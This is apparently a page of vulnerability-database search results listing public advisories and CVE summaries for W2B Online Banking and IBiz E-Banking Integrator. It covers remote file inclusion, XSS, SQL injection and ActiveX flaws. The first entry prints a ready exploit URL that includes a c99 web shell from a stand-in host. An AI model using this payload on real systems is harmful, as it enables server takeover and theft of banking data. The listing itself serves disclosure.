w2b-rfi.txt

W2B Online Banking Remote File Inclusion Vulnerability AUTHOR: THuM4N Email : [email protected] Script : W2B Online Banking Site : http://www.w2b.ru Vulnerable CODE : /index.php include$SESSION"ilang"."/".$REQUEST"page".".htm"; EXPLOIT : http://HOST/Path/index.php?ilang=http://yoursite.com/c99.txt? ...

W2B Online Banking - ilang Remote File Inclusion

W2B Online Banking - ilang Remote File Inclusion source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the...

W2B Online Banking - 'ilang' Remote File Inclusion

source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks...

IBiz E-Banking Integrator ActiveX控件WriteOFXDataFile()不安全调用漏洞

BUGTRAQ ID: 28700 IBiz E-Banking Integrator是用于从银行、投资公司等帐号访问财务交易信息的解决方案。 IBiz E-Banking Integrator所提供的IBizEBank.FIProfile.1 ActiveX控件（fiprofile20.ocx）没有正确地处理对WriteOFXDataFile方式的调用，如果用户受骗访问了恶意网页的话，就可能导致以当前登录用户的权限覆盖和破坏系统上的任意文件。 /n software IBiz E-Banking Integrator 2.0 /n software -----------...

Design/Logic Flaw

The IBizEBank.FIProfile.1 ActiveX control in fiprofile20.ocx in IBiz E-Banking Integrator formerly IBiz OFX Integrator 2.0.2932 exposes the unsafe WriteOFXDataFile method, which allows remote attackers to overwrite arbitrary files via a full pathname in the argument. NOTE: some of these details a...

CVE-2008-1725

The IBizEBank.FIProfile.1 ActiveX control in fiprofile20.ocx in IBiz E-Banking Integrator formerly IBiz OFX Integrator 2.0.2932 exposes the unsafe WriteOFXDataFile method, which allows remote attackers to overwrite arbitrary files via a full pathname in the argument. NOTE: some of these details a...

CVE-2008-1725

The IBizEBank.FIProfile.1 ActiveX control in fiprofile20.ocx in IBiz E-Banking Integrator formerly IBiz OFX Integrator 2.0.2932 exposes the unsafe WriteOFXDataFile method, which allows remote attackers to overwrite arbitrary files via a full pathname in the argument. NOTE: some of these details a...

IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Exploit

No description provided by source. -------------------------------------------------------------------- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose. Use it ...

ibiz-insecure.txt

-------------------------------------------------------------------- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be no...

IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method

IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method -------------------------------------------------------------------- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for...

IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Exploit

Exploit for unknown platform in category remote exploits ==================================================================== IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Exploit ====================================================================...

IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method

-------------------------------------------------------------------- IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be no...

OdysseySuite™ Internet Banking vuln.

OdysseySuite™ Internet Banking vuln. Vuln. discovered by : r0t Date: 1 October 2007 Vendor:http://www.megasol.se/odysseysuite.asp affected versions:current orginal advisory: http://pridels-team.blogspot.com/2007/10/odysseysuite-internet-banking-vuln.html OdysseySuite™ contains a flaw that allows ...

Cross site scripting

Cross-site scripting XSS vulnerability in auth.w2b in W2B Online Banking allows remote attackers to inject arbitrary web script or HTML via the adtype parameter, a different vector than CVE-2006-1980...

CVE-2007-3175

Multiple SQL injection vulnerabilities in W2B Online Banking allow remote attackers to execute arbitrary SQL commands via 1 the draft parameter to mailer.w2b or 2 the listDocPay parameter to DocPay.w2b...

Sql injection

Multiple SQL injection vulnerabilities in W2B Online Banking allow remote attackers to execute arbitrary SQL commands via 1 the draft parameter to mailer.w2b or 2 the listDocPay parameter to DocPay.w2b...

CVE-2007-3174

Cross-site scripting XSS vulnerability in auth.w2b in W2B Online Banking allows remote attackers to inject arbitrary web script or HTML via the adtype parameter, a different vector than CVE-2006-1980...

CVE-2007-3174

CVE-2007-3174 is an XSS vulnerability in W2B Online Banking (auth.w2b) exploitable via the adtype parameter (vector distinct from CVE-2006-1980). Public metrics show a CVSS v2 base score of 4.3 (Medium) with Network attack vector, requiring no authentication, no confidentiality impact, but partia...

CVE-2007-3175

CVE-2007-3175 describes multiple SQL injection vulnerabilities in W2B Online Banking. The affected components are the web applications handling mailer.w2b and DocPay.w2b, where user-supplied input in the draft and listDocPay parameters can be exploited to alter or execute SQL commands remotely. T...

CVE-2007-3175

Multiple SQL injection vulnerabilities in W2B Online Banking allow remote attackers to execute arbitrary SQL commands via 1 the draft parameter to mailer.w2b or 2 the listDocPay parameter to DocPay.w2b...